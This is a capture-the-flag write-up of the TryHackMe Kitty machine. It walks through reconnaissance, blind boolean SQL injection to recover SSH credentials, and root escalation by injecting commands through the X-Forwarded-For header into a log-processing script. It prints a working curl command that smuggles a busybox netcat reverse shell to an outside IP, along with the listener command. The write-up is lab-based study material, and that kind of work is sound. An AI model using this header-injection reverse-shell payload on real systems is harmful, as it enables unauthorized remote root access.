TryHackMe Kitty Boot2Root —Writeup

Welcome back to my write-up! I appreciate your patience, it’s been a while since my last post, but I’m excited to share another one with you. Today, I’ll be walking you through a detailed, step-by-step breakdown of how I successfully tackled the Kitty challenge from TryHackMe. I’ll cover my thought process, the tools I used, and the techniques that led me to the final flag. Let’s dive in!

Reconnaissance

First, we need to enumerate the open ports of our target for our potential entry point

nmap -sC -sV -oN nmap_result.log -v <IP>

As you can see here, port 22 (ssh) and 80 (http) are open

Let’s visit the webpage.

As you can see, I was directed to a login page. The first thing I did was fill in random credentials to observe how the login page would react. I also tried some basic and classic SQLi payloads, and surprisingly, the login page responded differently.

The classic OR payload
This is the respond

Hmmm…. Something interesting isn’t it? Looks like this is a hint for us that we need to bypass this mechanism to access something.

We will not focus on that for a while, let’s try to enumerate the subdirectories of the web page first for more information.

gobuster dir -u http://kitty.thm/ -w /usr/share/wordlists/dirb/big.txt -t 64 -x php -q

As you noticed, there’s a register.php, looks like we can make an account in order for us to login.

So I go to register.php and I was able to make a new account to login

After submitting, I was automatically taken back to the login page. I then used the account I had created to log in, and it successfully granted me access!

But the only thing that we can do is to logout, how lame. Now what?

Remember the SQLi detection earlier? Maybe that’s the way for us to gain higher access. So I used different variants of SQLi payloads, and one of them works.

This payload didn’t work, it returns invalid username and password
And this one actually works!

This is a clear indication that this is vulnerable to Blind Boolean SQL Injection. We can leverage this attack to enumerate the database, uncover underlying tables, and extract their entries.

By utilizing the database() function, we can systematically enumerate the database name. This is achieved by iterating through each letter using the LIKE operator along with the % wildcard. By checking for matches one character at a time, we gradually reconstruct the database name. If a correct match is found at any stage, it confirms our guess and allows us to proceed further, potentially leading to successful authentication or deeper exploitation of the system.

This payload uses the UNION SELECT technique to retrieve table names from the information_schema.tables, which stores metadata about all database tables. The table_schema = ‘mywebsite’ filter ensures that only tables from the target database are retrieved, while table_name LIKE ‘%’ lists all tables within it. The comment at the end comments out the rest of the original SQL query to prevent syntax errors. If successful, this query can expose the names of all tables in the database.

This SQL injection payload uses the UNION SELECT method to retrieve data from a specified table, bypassing the original query. It works by matching the number of columns expected in the original query and then fetching data from the targeted table, in this case, user-related information. The condition used ensures that all entries are retrieved, and the comment (-- -) at the end of the payload disables the rest of the original query, preventing syntax errors. If successful, this attack can expose sensitive data, such as usernames, from the targeted database.

Once we have the username, we will do the same thing as we did to retrieve the password, we will just add AND password to retrieve the password that is connected to that username.

Exploitation

Now that we have all the payloads, time to develop our exploit!

Run and we should able to bruteforce the database, table, username, and password!

The Output

We’ve successfully got the credentials for user kitty! Now let’s login as kitty through SSH.

After logging in, we now have the first flag!

Privilege Escalation

I used linpeas to enumerate misconfigurations and unusual files that can lead me to escalate privielege. And after running I found this

As you can see here, the /opt is empty by default, but why there’s a log_checker.sh inside /opt?

We don’t have write access to the script, but we can see that it reads IP addresses from the file /var/www/development/logged, appends each IP to /root/logged, and then clears the original file. The key detail is that the script spawns a new shell to echo the IP into /root/logged. This means that if we can control the IP value, we may be able to inject commands and execute them.

Let’s take a look at /var/www/development.

The login system is filtering the username and password parameters for specific keywords. If any of these restricted keywords are present, the system triggers the “SQL Injection detected” error, just like we saw earlier.

Additionally, we noticed that the server logs the content of the X-Forwarded-For header into the logged file. This presents an opportunity to inject arbitrary content into that file.

If the script processing this log later executes or interacts with its contents unsafely, we might be able to escalate this into code execution or manipulate the system in unexpected ways. This could lead to command injection, privilege escalation, or even a full shell depending on how the logged data is handled.

Here’s what we can do to abuse this vulnerability, we attempt to log in while deliberately using one of the restricted keywords as the username to trigger the SQL Injection detected error. At the same time, we include a custom X-Forwarded-For header to control what gets logged in /var/www/development/logged. By doing this, we can test whether our input is successfully written to the log file. If the system blindly stores our header value without sanitization, this could allow us to inject arbitrary content, potentially leading to command execution, privilege escalation, or even remote code execution (RCE) if another process interacts with the log file unsafely.

curl -X POST -H “Content-Type: application/x — www-form-urlencoded” -H “X-Forwarded-For: god” -d “username=kur0sh1r0x&password=123456” http://127.0.0.1:8080/index.php

This confirms that we can now inject content into the logged file by manipulating the X-Forwarded-For header.

I checked if the machine has a netcat installed and it has!

It’s time for us to inject a reverse shell payload to have a root shell!

curl -X POST -H “Content-Type: application/x — www-form-urlencoded” -H “X-Forwarded-For: \$(busybox nc 10.8.31.147 4343 -e /bin/bash)” -d “username=kur0sh1r0x&password=123456” http://127.0.0.1:8080/index.php

I initially missed a closing ‘)’ at the end of the payload, but I fixed it after realizing it wasn’t working.

Before we execute this, we need to setup a listener first using netcat. After setting up, we can now execute the payload and gain root shell!

nc -lnvp 4343

And we are now root!!!

Conclusion

The challenge demonstrated the process of identifying and exploiting SQL injection vulnerabilities to extract valuable data from a database. By leveraging UNION-based SQL injection techniques, we were able to enumerate database structures, retrieve user information, and bypass authentication mechanisms. Additionally, we explored how to further abuse this vulnerability by deliberately using restricted keywords as the username to trigger an SQL Injection detected error while injecting a custom X-Forwarded-For header. This allowed us to manipulate log entries stored in /var/www/development/logged, testing whether our input was successfully written. If the system blindly stored our header value without sanitization, it could open the door to more severe exploits, such as command execution, privilege escalation, or even remote code execution (RCE) if another process interacts with the log file unsafely. This highlights the critical importance of implementing strict input validation, proper logging security, and adopting secure coding practices to prevent such attacks.

Last updated